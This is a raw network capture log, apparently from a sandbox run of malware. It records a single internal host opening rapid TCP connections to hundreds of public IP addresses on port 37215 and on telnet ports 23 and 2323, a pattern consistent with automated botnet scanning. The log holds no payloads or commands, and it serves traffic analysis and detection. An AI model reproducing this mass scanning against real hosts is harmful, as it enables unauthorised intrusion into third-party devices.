Nov 3, 2024 15:33:04.930442095 CET	4847	37215	192.168.2.14	156.75.131.80
Nov 3, 2024 15:33:04.930444002 CET	37215	4847	41.247.7.56	192.168.2.14
Nov 3, 2024 15:33:04.930455923 CET	37215	4847	156.222.234.243	192.168.2.14
Nov 3, 2024 15:33:04.930464983 CET	4847	37215	192.168.2.14	156.121.205.170
Nov 3, 2024 15:33:04.930466890 CET	4847	37215	192.168.2.14	156.7.91.254
Nov 3, 2024 15:33:04.930468082 CET	37215	4847	156.110.26.183	192.168.2.14
Nov 3, 2024 15:33:04.930474997 CET	4847	37215	192.168.2.14	41.247.7.56
Nov 3, 2024 15:33:04.930480957 CET	37215	4847	41.137.203.63	192.168.2.14
Nov 3, 2024 15:33:04.930493116 CET	37215	4847	41.83.170.124	192.168.2.14
Nov 3, 2024 15:33:04.930504084 CET	37215	4847	156.180.162.189	192.168.2.14
Nov 3, 2024 15:33:04.930507898 CET	4847	37215	192.168.2.14	156.222.234.243
Nov 3, 2024 15:33:04.930510998 CET	4847	37215	192.168.2.14	156.110.26.183
Nov 3, 2024 15:33:04.930511951 CET	4847	37215	192.168.2.14	41.137.203.63
Nov 3, 2024 15:33:04.930515051 CET	37215	4847	197.6.159.217	192.168.2.14
Nov 3, 2024 15:33:04.930536985 CET	4847	37215	192.168.2.14	156.180.162.189
Nov 3, 2024 15:33:04.930537939 CET	4847	37215	192.168.2.14	41.83.170.124
Nov 3, 2024 15:33:04.930546045 CET	37215	4847	41.67.206.222	192.168.2.14
Nov 3, 2024 15:33:04.930557013 CET	37215	4847	197.109.28.79	192.168.2.14
Nov 3, 2024 15:33:04.930567026 CET	37215	4847	41.233.220.26	192.168.2.14
Nov 3, 2024 15:33:04.930584908 CET	4847	37215	192.168.2.14	41.67.206.222
Nov 3, 2024 15:33:04.930587053 CET	4847	37215	192.168.2.14	197.6.159.217
Nov 3, 2024 15:33:04.930594921 CET	4847	37215	192.168.2.14	197.109.28.79
Nov 3, 2024 15:33:04.930610895 CET	4847	37215	192.168.2.14	41.233.220.26
Nov 3, 2024 15:33:04.930669069 CET	37215	4847	197.130.27.26	192.168.2.14
Nov 3, 2024 15:33:04.930670977 CET	37215	4847	156.249.62.176	192.168.2.14
Nov 3, 2024 15:33:04.930672884 CET	37215	4847	41.133.119.82	192.168.2.14
Nov 3, 2024 15:33:04.930681944 CET	37215	4847	41.7.12.39	192.168.2.14
Nov 3, 2024 15:33:04.930701017 CET	37215	4847	197.126.230.80	192.168.2.14
Nov 3, 2024 15:33:04.930711031 CET	37215	4847	156.93.136.34	192.168.2.14
Nov 3, 2024 15:33:04.930721045 CET	37215	4847	156.254.117.208	192.168.2.14
Nov 3, 2024 15:33:04.930721998 CET	4847	37215	192.168.2.14	41.7.12.39
Nov 3, 2024 15:33:04.930725098 CET	4847	37215	192.168.2.14	197.130.27.26
Nov 3, 2024 15:33:04.930725098 CET	4847	37215	192.168.2.14	156.249.62.176
Nov 3, 2024 15:33:04.930725098 CET	4847	37215	192.168.2.14	41.133.119.82
Nov 3, 2024 15:33:04.930732012 CET	37215	4847	197.175.121.81	192.168.2.14
Nov 3, 2024 15:33:04.930742025 CET	37215	4847	156.55.51.36	192.168.2.14
Nov 3, 2024 15:33:04.930752039 CET	4847	37215	192.168.2.14	197.126.230.80
Nov 3, 2024 15:33:04.930752993 CET	37215	4847	197.157.13.81	192.168.2.14
Nov 3, 2024 15:33:04.930757046 CET	4847	37215	192.168.2.14	156.93.136.34
Nov 3, 2024 15:33:04.930757046 CET	4847	37215	192.168.2.14	156.254.117.208
Nov 3, 2024 15:33:04.930766106 CET	37215	4847	41.136.46.71	192.168.2.14
Nov 3, 2024 15:33:04.930775881 CET	4847	37215	192.168.2.14	156.55.51.36
Nov 3, 2024 15:33:04.930778027 CET	37215	4847	156.184.246.5	192.168.2.14
Nov 3, 2024 15:33:04.930778027 CET	4847	37215	192.168.2.14	197.175.121.81
Nov 3, 2024 15:33:04.930782080 CET	4847	37215	192.168.2.14	197.157.13.81
Nov 3, 2024 15:33:04.930782080 CET	39572	37215	192.168.2.14	197.101.8.217
Nov 3, 2024 15:33:04.930789948 CET	37215	4847	41.167.207.1	192.168.2.14
Nov 3, 2024 15:33:04.930803061 CET	37215	4847	197.93.161.209	192.168.2.14
Nov 3, 2024 15:33:04.930807114 CET	4847	37215	192.168.2.14	156.184.246.5
Nov 3, 2024 15:33:04.930813074 CET	37215	4847	156.243.55.174	192.168.2.14
Nov 3, 2024 15:33:04.930823088 CET	37215	4847	156.242.161.117	192.168.2.14
Nov 3, 2024 15:33:04.930828094 CET	4847	37215	192.168.2.14	41.167.207.1
Nov 3, 2024 15:33:04.930834055 CET	37215	4847	156.247.66.237	192.168.2.14
Nov 3, 2024 15:33:04.930835009 CET	4847	37215	192.168.2.14	41.136.46.71
Nov 3, 2024 15:33:04.930844069 CET	4847	37215	192.168.2.14	197.93.161.209
Nov 3, 2024 15:33:04.930844069 CET	4847	37215	192.168.2.14	156.242.161.117
Nov 3, 2024 15:33:04.930846930 CET	4847	37215	192.168.2.14	156.243.55.174
Nov 3, 2024 15:33:04.930847883 CET	37215	4847	197.251.158.253	192.168.2.14
Nov 3, 2024 15:33:04.930871964 CET	37215	4847	197.27.76.56	192.168.2.14
Nov 3, 2024 15:33:04.930877924 CET	4847	37215	192.168.2.14	156.247.66.237
Nov 3, 2024 15:33:04.930883884 CET	4847	37215	192.168.2.14	197.251.158.253
Nov 3, 2024 15:33:04.930885077 CET	37215	4847	41.100.187.245	192.168.2.14
Nov 3, 2024 15:33:04.930896997 CET	37215	4847	197.137.196.3	192.168.2.14
Nov 3, 2024 15:33:04.930907011 CET	4847	37215	192.168.2.14	197.27.76.56
Nov 3, 2024 15:33:04.930907965 CET	37215	4847	197.154.120.168	192.168.2.14
Nov 3, 2024 15:33:04.930923939 CET	4847	37215	192.168.2.14	197.137.196.3
Nov 3, 2024 15:33:04.930926085 CET	37215	4847	197.201.203.137	192.168.2.14
Nov 3, 2024 15:33:04.930932045 CET	4847	37215	192.168.2.14	41.100.187.245
Nov 3, 2024 15:33:04.930938959 CET	37215	4847	41.233.196.112	192.168.2.14
Nov 3, 2024 15:33:04.930948973 CET	4847	37215	192.168.2.14	197.154.120.168
Nov 3, 2024 15:33:04.930952072 CET	37215	4847	41.202.69.139	192.168.2.14
Nov 3, 2024 15:33:04.930978060 CET	4847	37215	192.168.2.14	41.233.196.112
Nov 3, 2024 15:33:04.930982113 CET	4847	37215	192.168.2.14	197.201.203.137
Nov 3, 2024 15:33:04.930986881 CET	4847	37215	192.168.2.14	41.202.69.139
Nov 3, 2024 15:33:04.930999041 CET	37215	4847	156.243.109.143	192.168.2.14
Nov 3, 2024 15:33:04.931021929 CET	37215	4847	197.123.156.27	192.168.2.14
Nov 3, 2024 15:33:04.931030035 CET	4847	37215	192.168.2.14	156.243.109.143
Nov 3, 2024 15:33:04.931035042 CET	37215	4847	41.163.165.253	192.168.2.14
Nov 3, 2024 15:33:04.931067944 CET	4847	37215	192.168.2.14	41.163.165.253
Nov 3, 2024 15:33:04.931067944 CET	4847	37215	192.168.2.14	197.123.156.27
Nov 3, 2024 15:33:04.931133986 CET	37215	4847	156.133.241.240	192.168.2.14
Nov 3, 2024 15:33:04.931143999 CET	37215	4847	41.83.209.207	192.168.2.14
Nov 3, 2024 15:33:04.931154013 CET	37215	4847	156.74.34.121	192.168.2.14
Nov 3, 2024 15:33:04.931164980 CET	37215	4847	156.76.33.181	192.168.2.14
Nov 3, 2024 15:33:04.931175947 CET	4847	37215	192.168.2.14	156.133.241.240
Nov 3, 2024 15:33:04.931184053 CET	37215	4847	197.238.52.63	192.168.2.14
Nov 3, 2024 15:33:04.931193113 CET	4847	37215	192.168.2.14	156.74.34.121
Nov 3, 2024 15:33:04.931195021 CET	4847	37215	192.168.2.14	156.76.33.181
Nov 3, 2024 15:33:04.931195974 CET	37215	4847	41.186.120.63	192.168.2.14
Nov 3, 2024 15:33:04.931196928 CET	4847	37215	192.168.2.14	41.83.209.207
Nov 3, 2024 15:33:04.931206942 CET	37215	4847	41.234.121.45	192.168.2.14
Nov 3, 2024 15:33:04.931219101 CET	37215	4847	41.142.77.108	192.168.2.14
Nov 3, 2024 15:33:04.931226969 CET	37215	4847	41.135.62.158	192.168.2.14
Nov 3, 2024 15:33:04.931237936 CET	37215	4847	156.248.131.220	192.168.2.14
Nov 3, 2024 15:33:04.931241035 CET	4847	37215	192.168.2.14	41.186.120.63
Nov 3, 2024 15:33:04.931242943 CET	4847	37215	192.168.2.14	41.234.121.45
Nov 3, 2024 15:33:04.931246042 CET	4847	37215	192.168.2.14	41.142.77.108
Nov 3, 2024 15:33:04.931250095 CET	37215	4847	156.245.138.190	192.168.2.14
Nov 3, 2024 15:33:04.931261063 CET	4847	37215	192.168.2.14	197.238.52.63
Nov 3, 2024 15:33:04.931269884 CET	37215	4847	197.203.90.117	192.168.2.14
Nov 3, 2024 15:33:04.931272984 CET	4847	37215	192.168.2.14	41.135.62.158
Nov 3, 2024 15:33:04.931272984 CET	4847	37215	192.168.2.14	156.248.131.220
Nov 3, 2024 15:33:04.931287050 CET	37215	4847	197.200.130.105	192.168.2.14
Nov 3, 2024 15:33:04.931299925 CET	37215	4847	197.40.96.115	192.168.2.14
Nov 3, 2024 15:33:04.931305885 CET	4847	37215	192.168.2.14	197.203.90.117
Nov 3, 2024 15:33:04.931310892 CET	37215	4847	197.159.107.81	192.168.2.14
Nov 3, 2024 15:33:04.931322098 CET	4847	37215	192.168.2.14	156.245.138.190
Nov 3, 2024 15:33:04.931322098 CET	4847	37215	192.168.2.14	197.200.130.105
Nov 3, 2024 15:33:04.931329966 CET	4847	37215	192.168.2.14	197.40.96.115
Nov 3, 2024 15:33:04.931341887 CET	37215	4847	197.51.13.121	192.168.2.14
Nov 3, 2024 15:33:04.931354046 CET	4847	37215	192.168.2.14	197.159.107.81
Nov 3, 2024 15:33:04.931358099 CET	37215	4847	197.102.165.123	192.168.2.14
Nov 3, 2024 15:33:04.931370020 CET	37215	4847	156.177.19.145	192.168.2.14
Nov 3, 2024 15:33:04.931381941 CET	37215	4847	197.63.164.176	192.168.2.14
Nov 3, 2024 15:33:04.931384087 CET	4847	37215	192.168.2.14	197.51.13.121
Nov 3, 2024 15:33:04.931392908 CET	37215	4847	41.142.18.240	192.168.2.14
Nov 3, 2024 15:33:04.931406021 CET	37215	4847	41.84.43.94	192.168.2.14
Nov 3, 2024 15:33:04.931416988 CET	37215	4847	156.81.221.203	192.168.2.14
Nov 3, 2024 15:33:04.931420088 CET	4847	37215	192.168.2.14	197.102.165.123
Nov 3, 2024 15:33:04.931425095 CET	4847	37215	192.168.2.14	156.177.19.145
Nov 3, 2024 15:33:04.931425095 CET	4847	37215	192.168.2.14	197.63.164.176
Nov 3, 2024 15:33:04.931428909 CET	37215	4847	156.127.77.220	192.168.2.14
Nov 3, 2024 15:33:04.931440115 CET	4847	37215	192.168.2.14	41.84.43.94
Nov 3, 2024 15:33:04.931441069 CET	37215	4847	197.227.236.24	192.168.2.14
Nov 3, 2024 15:33:04.931446075 CET	4847	37215	192.168.2.14	41.142.18.240
Nov 3, 2024 15:33:04.931446075 CET	4847	37215	192.168.2.14	156.81.221.203
Nov 3, 2024 15:33:04.931451082 CET	37215	4847	41.43.15.250	192.168.2.14
Nov 3, 2024 15:33:04.931469917 CET	4847	37215	192.168.2.14	156.127.77.220
Nov 3, 2024 15:33:04.931479931 CET	4847	37215	192.168.2.14	197.227.236.24
Nov 3, 2024 15:33:04.931523085 CET	4847	37215	192.168.2.14	41.43.15.250
Nov 3, 2024 15:33:04.931691885 CET	37215	4847	156.237.10.192	192.168.2.14
Nov 3, 2024 15:33:04.931701899 CET	37215	4847	41.134.6.72	192.168.2.14
Nov 3, 2024 15:33:04.931719065 CET	37215	4847	156.138.106.102	192.168.2.14
Nov 3, 2024 15:33:04.931736946 CET	37215	4847	41.171.116.95	192.168.2.14
Nov 3, 2024 15:33:04.931736946 CET	4847	37215	192.168.2.14	41.134.6.72
Nov 3, 2024 15:33:04.931736946 CET	4847	37215	192.168.2.14	156.237.10.192
Nov 3, 2024 15:33:04.931747913 CET	37215	4847	41.21.175.24	192.168.2.14
Nov 3, 2024 15:33:04.931759119 CET	4847	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:04.931760073 CET	37215	4847	156.112.145.82	192.168.2.14
Nov 3, 2024 15:33:04.931771994 CET	4847	37215	192.168.2.14	41.171.116.95
Nov 3, 2024 15:33:04.931792021 CET	4847	37215	192.168.2.14	156.112.145.82
Nov 3, 2024 15:33:04.931792021 CET	4847	37215	192.168.2.14	41.21.175.24
Nov 3, 2024 15:33:04.931827068 CET	37215	4847	197.130.244.86	192.168.2.14
Nov 3, 2024 15:33:04.931837082 CET	37215	4847	41.112.185.111	192.168.2.14
Nov 3, 2024 15:33:04.931847095 CET	37215	4847	197.22.184.110	192.168.2.14
Nov 3, 2024 15:33:04.931865931 CET	37215	4847	156.156.198.1	192.168.2.14
Nov 3, 2024 15:33:04.931875944 CET	50308	23	192.168.2.14	104.120.197.44
Nov 3, 2024 15:33:04.931875944 CET	4847	37215	192.168.2.14	41.112.185.111
Nov 3, 2024 15:33:04.931876898 CET	37215	4847	197.234.214.49	192.168.2.14
Nov 3, 2024 15:33:04.931893110 CET	4847	37215	192.168.2.14	197.130.244.86
Nov 3, 2024 15:33:04.931893110 CET	4847	37215	192.168.2.14	197.22.184.110
Nov 3, 2024 15:33:04.931904078 CET	37215	4847	156.112.168.130	192.168.2.14
Nov 3, 2024 15:33:04.931906939 CET	4847	37215	192.168.2.14	156.156.198.1
Nov 3, 2024 15:33:04.931915045 CET	37215	4847	156.248.103.11	192.168.2.14
Nov 3, 2024 15:33:04.931926012 CET	37215	4847	197.143.41.174	192.168.2.14
Nov 3, 2024 15:33:04.931926966 CET	4847	37215	192.168.2.14	197.234.214.49
Nov 3, 2024 15:33:04.931936979 CET	37215	4847	156.237.249.55	192.168.2.14
Nov 3, 2024 15:33:04.931945086 CET	4847	37215	192.168.2.14	156.248.103.11
Nov 3, 2024 15:33:04.931947947 CET	4847	37215	192.168.2.14	156.112.168.130
Nov 3, 2024 15:33:04.931955099 CET	37215	4847	156.148.59.106	192.168.2.14
Nov 3, 2024 15:33:04.931962967 CET	4847	37215	192.168.2.14	197.143.41.174
Nov 3, 2024 15:33:04.931962967 CET	4847	37215	192.168.2.14	156.237.249.55
Nov 3, 2024 15:33:04.931965113 CET	37215	4847	156.34.58.141	192.168.2.14
Nov 3, 2024 15:33:04.931974888 CET	37215	4847	197.59.205.168	192.168.2.14
Nov 3, 2024 15:33:04.931993961 CET	37215	4847	41.164.39.177	192.168.2.14
Nov 3, 2024 15:33:04.931999922 CET	4847	37215	192.168.2.14	156.148.59.106
Nov 3, 2024 15:33:04.932003975 CET	37215	4847	197.225.74.41	192.168.2.14
Nov 3, 2024 15:33:04.932005882 CET	4847	37215	192.168.2.14	197.59.205.168
Nov 3, 2024 15:33:04.932009935 CET	4847	37215	192.168.2.14	156.34.58.141
Nov 3, 2024 15:33:04.932015896 CET	37215	4847	41.52.235.215	192.168.2.14
Nov 3, 2024 15:33:04.932025909 CET	4847	37215	192.168.2.14	41.164.39.177
Nov 3, 2024 15:33:04.932029009 CET	37215	4847	156.207.182.238	192.168.2.14
Nov 3, 2024 15:33:04.932039022 CET	4847	37215	192.168.2.14	197.225.74.41
Nov 3, 2024 15:33:04.932039976 CET	37215	4847	41.221.242.123	192.168.2.14
Nov 3, 2024 15:33:04.932050943 CET	37215	4847	197.52.11.215	192.168.2.14
Nov 3, 2024 15:33:04.932056904 CET	4847	37215	192.168.2.14	41.52.235.215
Nov 3, 2024 15:33:04.932056904 CET	4847	37215	192.168.2.14	156.207.182.238
Nov 3, 2024 15:33:04.932063103 CET	37215	4847	156.146.120.35	192.168.2.14
Nov 3, 2024 15:33:04.932074070 CET	37215	4847	156.125.158.150	192.168.2.14
Nov 3, 2024 15:33:04.932081938 CET	37215	4847	197.28.118.214	192.168.2.14
Nov 3, 2024 15:33:04.932081938 CET	4847	37215	192.168.2.14	41.221.242.123
Nov 3, 2024 15:33:04.932081938 CET	4847	37215	192.168.2.14	197.52.11.215
Nov 3, 2024 15:33:04.932092905 CET	37215	4847	197.198.255.9	192.168.2.14
Nov 3, 2024 15:33:04.932102919 CET	4847	37215	192.168.2.14	156.146.120.35
Nov 3, 2024 15:33:04.932107925 CET	4847	37215	192.168.2.14	156.125.158.150
Nov 3, 2024 15:33:04.932120085 CET	4847	37215	192.168.2.14	197.28.118.214
Nov 3, 2024 15:33:04.932141066 CET	4847	37215	192.168.2.14	197.198.255.9
Nov 3, 2024 15:33:04.932341099 CET	37215	4847	197.240.196.242	192.168.2.14
Nov 3, 2024 15:33:04.932352066 CET	37215	4847	41.106.58.255	192.168.2.14
Nov 3, 2024 15:33:04.932360888 CET	37215	4847	197.70.138.46	192.168.2.14
Nov 3, 2024 15:33:04.932370901 CET	37215	4847	197.149.212.176	192.168.2.14
Nov 3, 2024 15:33:04.932380915 CET	37215	4847	197.208.120.242	192.168.2.14
Nov 3, 2024 15:33:04.932385921 CET	37215	4847	197.120.126.176	192.168.2.14
Nov 3, 2024 15:33:04.932393074 CET	4847	37215	192.168.2.14	197.240.196.242
Nov 3, 2024 15:33:04.932406902 CET	37215	4847	197.6.107.26	192.168.2.14
Nov 3, 2024 15:33:04.932408094 CET	4847	37215	192.168.2.14	41.106.58.255
Nov 3, 2024 15:33:04.932409048 CET	4847	37215	192.168.2.14	197.70.138.46
Nov 3, 2024 15:33:04.932413101 CET	4847	37215	192.168.2.14	197.149.212.176
Nov 3, 2024 15:33:04.932414055 CET	4847	37215	192.168.2.14	197.120.126.176
Nov 3, 2024 15:33:04.932419062 CET	37215	4847	197.134.118.237	192.168.2.14
Nov 3, 2024 15:33:04.932420969 CET	4847	37215	192.168.2.14	197.208.120.242
Nov 3, 2024 15:33:04.932429075 CET	37215	4847	197.224.254.94	192.168.2.14
Nov 3, 2024 15:33:04.932439089 CET	37215	4847	156.65.76.20	192.168.2.14
Nov 3, 2024 15:33:04.932441950 CET	4847	37215	192.168.2.14	197.6.107.26
Nov 3, 2024 15:33:04.932445049 CET	4847	37215	192.168.2.14	197.134.118.237
Nov 3, 2024 15:33:04.932447910 CET	37215	4847	41.161.120.254	192.168.2.14
Nov 3, 2024 15:33:04.932461023 CET	37215	4847	197.137.193.125	192.168.2.14
Nov 3, 2024 15:33:04.932471037 CET	37215	4847	156.79.95.233	192.168.2.14
Nov 3, 2024 15:33:04.932473898 CET	4847	37215	192.168.2.14	197.224.254.94
Nov 3, 2024 15:33:04.932476997 CET	4847	37215	192.168.2.14	156.65.76.20
Nov 3, 2024 15:33:04.932476997 CET	4847	37215	192.168.2.14	41.161.120.254
Nov 3, 2024 15:33:04.932482958 CET	37215	4847	41.140.216.89	192.168.2.14
Nov 3, 2024 15:33:04.932496071 CET	37215	4847	41.34.229.240	192.168.2.14
Nov 3, 2024 15:33:04.932508945 CET	37215	4847	156.234.152.221	192.168.2.14
Nov 3, 2024 15:33:04.932518005 CET	37215	4847	197.179.240.18	192.168.2.14
Nov 3, 2024 15:33:04.932523012 CET	4847	37215	192.168.2.14	41.140.216.89
Nov 3, 2024 15:33:04.932524920 CET	4847	37215	192.168.2.14	156.79.95.233
Nov 3, 2024 15:33:04.932528019 CET	37215	4847	41.158.176.190	192.168.2.14
Nov 3, 2024 15:33:04.932528973 CET	4847	37215	192.168.2.14	197.137.193.125
Nov 3, 2024 15:33:04.932538986 CET	4847	37215	192.168.2.14	156.234.152.221
Nov 3, 2024 15:33:04.932545900 CET	4847	37215	192.168.2.14	41.34.229.240
Nov 3, 2024 15:33:04.932550907 CET	37215	4847	41.186.225.159	192.168.2.14
Nov 3, 2024 15:33:04.932553053 CET	4847	37215	192.168.2.14	197.179.240.18
Nov 3, 2024 15:33:04.932562113 CET	37215	4847	197.222.1.103	192.168.2.14
Nov 3, 2024 15:33:04.932566881 CET	4847	37215	192.168.2.14	41.158.176.190
Nov 3, 2024 15:33:04.932574034 CET	37215	4847	156.200.11.85	192.168.2.14
Nov 3, 2024 15:33:04.932585001 CET	37215	4847	41.64.56.115	192.168.2.14
Nov 3, 2024 15:33:04.932595015 CET	4847	37215	192.168.2.14	197.222.1.103
Nov 3, 2024 15:33:04.932595968 CET	37215	4847	197.160.225.237	192.168.2.14
Nov 3, 2024 15:33:04.932595968 CET	4847	37215	192.168.2.14	41.186.225.159
Nov 3, 2024 15:33:04.932609081 CET	37215	4847	156.134.147.94	192.168.2.14
Nov 3, 2024 15:33:04.932621002 CET	37215	4847	41.104.38.165	192.168.2.14
Nov 3, 2024 15:33:04.932626009 CET	4847	37215	192.168.2.14	156.200.11.85
Nov 3, 2024 15:33:04.932626963 CET	4847	37215	192.168.2.14	41.64.56.115
Nov 3, 2024 15:33:04.932634115 CET	37215	4847	41.20.233.233	192.168.2.14
Nov 3, 2024 15:33:04.932643890 CET	37215	4847	197.2.154.72	192.168.2.14
Nov 3, 2024 15:33:04.932653904 CET	4847	37215	192.168.2.14	197.160.225.237
Nov 3, 2024 15:33:04.932657957 CET	37215	4847	197.94.123.1	192.168.2.14
Nov 3, 2024 15:33:04.932666063 CET	4847	37215	192.168.2.14	41.20.233.233
Nov 3, 2024 15:33:04.932667017 CET	4847	37215	192.168.2.14	156.134.147.94
Nov 3, 2024 15:33:04.932671070 CET	4847	37215	192.168.2.14	41.104.38.165
Nov 3, 2024 15:33:04.932684898 CET	37215	4847	197.219.209.33	192.168.2.14
Nov 3, 2024 15:33:04.932686090 CET	4847	37215	192.168.2.14	197.2.154.72
Nov 3, 2024 15:33:04.932697058 CET	37215	4847	197.28.250.189	192.168.2.14
Nov 3, 2024 15:33:04.932702065 CET	4847	37215	192.168.2.14	197.94.123.1
Nov 3, 2024 15:33:04.932708025 CET	37215	4847	41.193.177.196	192.168.2.14
Nov 3, 2024 15:33:04.932734013 CET	4847	37215	192.168.2.14	197.219.209.33
Nov 3, 2024 15:33:04.932738066 CET	4847	37215	192.168.2.14	197.28.250.189
Nov 3, 2024 15:33:04.932758093 CET	4847	37215	192.168.2.14	41.193.177.196
Nov 3, 2024 15:33:04.932758093 CET	50810	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:04.932771921 CET	37215	4847	197.215.80.107	192.168.2.14
Nov 3, 2024 15:33:04.932796001 CET	37215	4847	197.113.188.122	192.168.2.14
Nov 3, 2024 15:33:04.932806969 CET	37215	4847	41.141.198.215	192.168.2.14
Nov 3, 2024 15:33:04.932813883 CET	4847	37215	192.168.2.14	197.215.80.107
Nov 3, 2024 15:33:04.932816029 CET	37215	4847	156.166.7.34	192.168.2.14
Nov 3, 2024 15:33:04.932835102 CET	37215	4847	197.56.182.23	192.168.2.14
Nov 3, 2024 15:33:04.932841063 CET	4847	37215	192.168.2.14	41.141.198.215
Nov 3, 2024 15:33:04.932842016 CET	4847	37215	192.168.2.14	197.113.188.122
Nov 3, 2024 15:33:04.932846069 CET	37215	4847	41.18.83.113	192.168.2.14
Nov 3, 2024 15:33:04.932857037 CET	37215	4847	41.145.140.22	192.168.2.14
Nov 3, 2024 15:33:04.932868004 CET	37215	4847	156.188.132.253	192.168.2.14
Nov 3, 2024 15:33:04.932868004 CET	4847	37215	192.168.2.14	156.166.7.34
Nov 3, 2024 15:33:04.932878971 CET	23	42910	36.181.35.174	192.168.2.14
Nov 3, 2024 15:33:04.932887077 CET	4847	37215	192.168.2.14	41.18.83.113
Nov 3, 2024 15:33:04.932888985 CET	37215	33698	197.223.76.128	192.168.2.14
Nov 3, 2024 15:33:04.932898045 CET	4847	37215	192.168.2.14	197.56.182.23
Nov 3, 2024 15:33:04.932914972 CET	42910	23	192.168.2.14	36.181.35.174
Nov 3, 2024 15:33:04.932928085 CET	33698	37215	192.168.2.14	197.223.76.128
Nov 3, 2024 15:33:04.932931900 CET	23	51840	65.161.59.74	192.168.2.14
Nov 3, 2024 15:33:04.932943106 CET	37215	60004	197.164.23.128	192.168.2.14
Nov 3, 2024 15:33:04.932945967 CET	4847	37215	192.168.2.14	41.145.140.22
Nov 3, 2024 15:33:04.932945967 CET	4847	37215	192.168.2.14	156.188.132.253
Nov 3, 2024 15:33:04.932955980 CET	23	42422	211.210.255.138	192.168.2.14
Nov 3, 2024 15:33:04.932971001 CET	51840	23	192.168.2.14	65.161.59.74
Nov 3, 2024 15:33:04.932990074 CET	23	35428	209.129.129.97	192.168.2.14
Nov 3, 2024 15:33:04.933001041 CET	60004	37215	192.168.2.14	197.164.23.128
Nov 3, 2024 15:33:04.933015108 CET	42422	23	192.168.2.14	211.210.255.138
Nov 3, 2024 15:33:04.933056116 CET	23	42490	95.7.203.251	192.168.2.14
Nov 3, 2024 15:33:04.933065891 CET	23	36206	212.140.253.155	192.168.2.14
Nov 3, 2024 15:33:04.933374882 CET	37215	48294	156.42.97.189	192.168.2.14
Nov 3, 2024 15:33:04.933418989 CET	48294	37215	192.168.2.14	156.42.97.189
Nov 3, 2024 15:33:04.933557034 CET	2323	43870	152.183.125.215	192.168.2.14
Nov 3, 2024 15:33:04.933598995 CET	43870	2323	192.168.2.14	152.183.125.215
Nov 3, 2024 15:33:04.933907986 CET	35970	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:04.934616089 CET	44126	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:04.935633898 CET	59716	23	192.168.2.14	198.175.87.210
Nov 3, 2024 15:33:04.936460018 CET	34128	37215	192.168.2.14	156.197.244.29
Nov 3, 2024 15:33:04.937000990 CET	42490	23	192.168.2.14	95.7.203.251
Nov 3, 2024 15:33:04.937000990 CET	36206	23	192.168.2.14	212.140.253.155
Nov 3, 2024 15:33:04.937000990 CET	35428	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:04.937263012 CET	23	58440	98.111.58.225	192.168.2.14
Nov 3, 2024 15:33:04.937273979 CET	37215	36852	197.181.5.130	192.168.2.14
Nov 3, 2024 15:33:04.937318087 CET	36852	37215	192.168.2.14	197.181.5.130
Nov 3, 2024 15:33:04.937715054 CET	59110	23	192.168.2.14	124.151.144.57
Nov 3, 2024 15:33:04.937736988 CET	23	38868	174.11.30.87	192.168.2.14
Nov 3, 2024 15:33:04.937773943 CET	38868	23	192.168.2.14	174.11.30.87
Nov 3, 2024 15:33:04.937823057 CET	23	36622	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:04.937933922 CET	52884	37215	192.168.2.14	156.9.19.35
Nov 3, 2024 15:33:04.938205004 CET	37215	39572	197.101.8.217	192.168.2.14
Nov 3, 2024 15:33:04.938244104 CET	39572	37215	192.168.2.14	197.101.8.217
Nov 3, 2024 15:33:04.938393116 CET	23	50308	104.120.197.44	192.168.2.14
Nov 3, 2024 15:33:04.938433886 CET	50308	23	192.168.2.14	104.120.197.44
Nov 3, 2024 15:33:04.938811064 CET	37215	50810	41.212.37.47	192.168.2.14
Nov 3, 2024 15:33:04.938857079 CET	50810	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:04.939127922 CET	23	42910	36.181.35.174	192.168.2.14
Nov 3, 2024 15:33:04.939289093 CET	37215	33698	197.223.76.128	192.168.2.14
Nov 3, 2024 15:33:04.939343929 CET	23	51840	65.161.59.74	192.168.2.14
Nov 3, 2024 15:33:04.939486980 CET	23	35970	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:04.939496994 CET	37215	60004	197.164.23.128	192.168.2.14
Nov 3, 2024 15:33:04.939510107 CET	37215	44126	197.69.184.15	192.168.2.14
Nov 3, 2024 15:33:04.939526081 CET	23	42422	211.210.255.138	192.168.2.14
Nov 3, 2024 15:33:04.939527988 CET	35970	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:04.939541101 CET	44126	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:04.939660072 CET	37215	48294	156.42.97.189	192.168.2.14
Nov 3, 2024 15:33:04.939680099 CET	51852	23	192.168.2.14	220.94.249.244
Nov 3, 2024 15:33:04.939729929 CET	2323	43870	152.183.125.215	192.168.2.14
Nov 3, 2024 15:33:04.939959049 CET	39270	37215	192.168.2.14	197.45.148.89
Nov 3, 2024 15:33:04.940433025 CET	23	59716	198.175.87.210	192.168.2.14
Nov 3, 2024 15:33:04.940475941 CET	59716	23	192.168.2.14	198.175.87.210
Nov 3, 2024 15:33:04.941011906 CET	42422	23	192.168.2.14	211.210.255.138
Nov 3, 2024 15:33:04.941013098 CET	48294	37215	192.168.2.14	156.42.97.189
Nov 3, 2024 15:33:04.941013098 CET	51840	23	192.168.2.14	65.161.59.74
Nov 3, 2024 15:33:04.941013098 CET	33698	37215	192.168.2.14	197.223.76.128
Nov 3, 2024 15:33:04.941013098 CET	36622	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:04.941018105 CET	42910	23	192.168.2.14	36.181.35.174
Nov 3, 2024 15:33:04.941040039 CET	60004	37215	192.168.2.14	197.164.23.128
Nov 3, 2024 15:33:04.941040039 CET	43870	2323	192.168.2.14	152.183.125.215
Nov 3, 2024 15:33:04.941040039 CET	58440	23	192.168.2.14	98.111.58.225
Nov 3, 2024 15:33:04.941294909 CET	37215	34128	156.197.244.29	192.168.2.14
Nov 3, 2024 15:33:04.941340923 CET	34128	37215	192.168.2.14	156.197.244.29
Nov 3, 2024 15:33:04.941734076 CET	57492	23	192.168.2.14	124.217.5.131
Nov 3, 2024 15:33:04.941979885 CET	52734	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:04.942529917 CET	37215	36852	197.181.5.130	192.168.2.14
Nov 3, 2024 15:33:04.942789078 CET	23	59110	124.151.144.57	192.168.2.14
